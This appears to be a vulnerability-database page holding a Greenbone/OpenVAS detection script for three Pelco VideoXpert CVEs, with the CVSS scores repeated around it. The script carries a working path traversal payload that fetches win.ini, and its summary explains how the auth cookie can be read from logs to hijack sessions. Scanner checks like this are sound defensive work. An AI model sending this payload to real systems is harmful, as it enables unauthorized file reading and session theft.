CVSS2
Attack Vector
NETWORK
Attack Complexity
HIGH
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:H/Au:S/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
LOW
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
61.3%
Pelco VideoXpert is prone to multiple vulnerabilities:
Directory traversal vulnerability which allows unauthenticated attackers to read arbitrary files in the context
of the web server. (CVE-2017-9965)
Missing encryption of sensitive information. The software transmits sensitive data using double Base64 encoding
for the Cookie
# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:pelco:videoxpert";
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.106936");
script_version("2023-07-25T05:05:58+0000");
script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
script_tag(name:"creation_date", value:"2017-07-11 09:20:39 +0700 (Tue, 11 Jul 2017)");
script_tag(name:"cvss_base", value:"7.1");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:S/C:C/I:C/A:C");
script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2019-10-03 00:03:00 +0000 (Thu, 03 Oct 2019)");
script_cve_id("CVE-2017-9964", "CVE-2017-9965", "CVE-2017-9966");
script_tag(name:"qod_type", value:"exploit");
script_tag(name:"solution_type", value:"VendorFix");
script_name("Pelco VideoXpert Multiple Vulnerabilities");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2017 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_pelco_videoxpert_detect.nasl");
script_mandatory_keys("pelco_videoxpert/installed");
script_tag(name:"summary", value:"Pelco VideoXpert is prone to multiple vulnerabilities:
- Directory traversal vulnerability which allows unauthenticated attackers to read arbitrary files in the context
of the web server. (CVE-2017-9965)
- Missing encryption of sensitive information. The software transmits sensitive data using double Base64 encoding
for the Cookie 'auth_token' in a communication channel that can be sniffed by unauthorized actors or arbitrarely
be read from the vxcore log file directly using directory traversal attack resulting in authentication bypass/
session hijacking. (CVE-2017-9964)
- By replacing certain files, an authorized user can obtain system privileges and the inserted code would execute
at an elevated privilege level. (CVE-2017-9966)");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"solution", value:"Update to version 2.1 or later.");
script_xref(name:"URL", value:"http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5419.php");
script_xref(name:"URL", value:"http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5420.php");
script_xref(name:"URL", value:"https://ics-cert.us-cert.gov/advisories/ICSA-17-355-02");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
if (!port = get_app_port(cpe: CPE))
exit(0);
url = "/portal//..\\\..\\\..\\\..\\\windows\win.ini";
if (http_vuln_check(port: port, url: url, pattern: "; for 16-bit app support", check_header: TRUE)) {
report = "It was possible to obtain the 'win.ini' file through a path traversal exploit.";
security_message(port: port, data: report);
exit(0);
}
exit(0);
CVSS2
Attack Vector
NETWORK
Attack Complexity
HIGH
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:H/Au:S/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
LOW
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
61.3%